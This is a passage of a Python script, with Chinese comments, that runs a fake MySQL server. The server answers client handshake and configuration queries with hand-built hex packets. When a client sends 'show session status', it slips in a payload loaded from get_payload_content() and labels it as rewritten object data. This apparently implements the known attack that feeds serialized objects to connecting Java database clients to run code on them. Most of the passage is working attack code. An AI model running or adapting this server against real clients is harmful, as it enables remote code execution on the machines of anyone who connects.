()
| 30 | |
| 31 | # 主要逻辑 |
| 32 | def run(): |
| 33 | |
| 34 | while 1: |
| 35 | conn, addr = sk.accept() |
| 36 | print("Connection come from {}:{}".format(addr[0],addr[1])) |
| 37 | |
| 38 | # 1.先发送第一个 问候报文 |
| 39 | send_data(conn,greeting_data) |
| 40 | |
| 41 | while True: |
| 42 | # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok |
| 43 | receive_data(conn) |
| 44 | send_data(conn,response_ok_data) |
| 45 | |
| 46 | #其他过程 |
| 47 | data=receive_data(conn) |
| 48 | #查询一些配置信息,其中会发送自己的 版本号 |
| 49 | if "session.auto_increment_increment" in data: |
| 50 | _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' |
| 51 | send_data(conn,_payload) |
| 52 | data=receive_data(conn) |
| 53 | elif "show warnings" in data: |
| 54 | _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' |
| 55 | send_data(conn, _payload) |
| 56 | data = receive_data(conn) |
| 57 | if "set names" in data: |
| 58 | send_data(conn, response_ok_data) |
| 59 | data = receive_data(conn) |
| 60 | if "set character_set_results" in data: |
| 61 | send_data(conn, response_ok_data) |
| 62 | data = receive_data(conn) |
| 63 | if "show session status" in data: |
| 64 | mysql_data = '0100000102' |
| 65 | mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' |
| 66 | mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' |
| 67 | # 为什么我加了EOF Packet 就无法正常运行呢？？ |
| 68 | #获取payload |
| 69 | payload_content=get_payload_content() |
| 70 | #计算payload长度 |
| 71 | payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4) |
| 72 | payload_length_hex = payload_length[2:4] + payload_length[0:2] |
| 73 | #计算数据包长度 |
| 74 | data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6) |
| 75 | data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] |
| 76 | mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex |
| 77 | mysql_data += str(payload_content) |
| 78 | mysql_data += '07000005fe000022000100' |
| 79 | send_data(conn, mysql_data) |
| 80 | data = receive_data(conn) |
| 81 | if "show warnings" in data: |
| 82 | payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' |
| 83 | send_data(conn, payload) |
| 84 | break |
| 85 | |
| 86 | |
| 87 | if __name__ == '__main__': |
no test coverage detected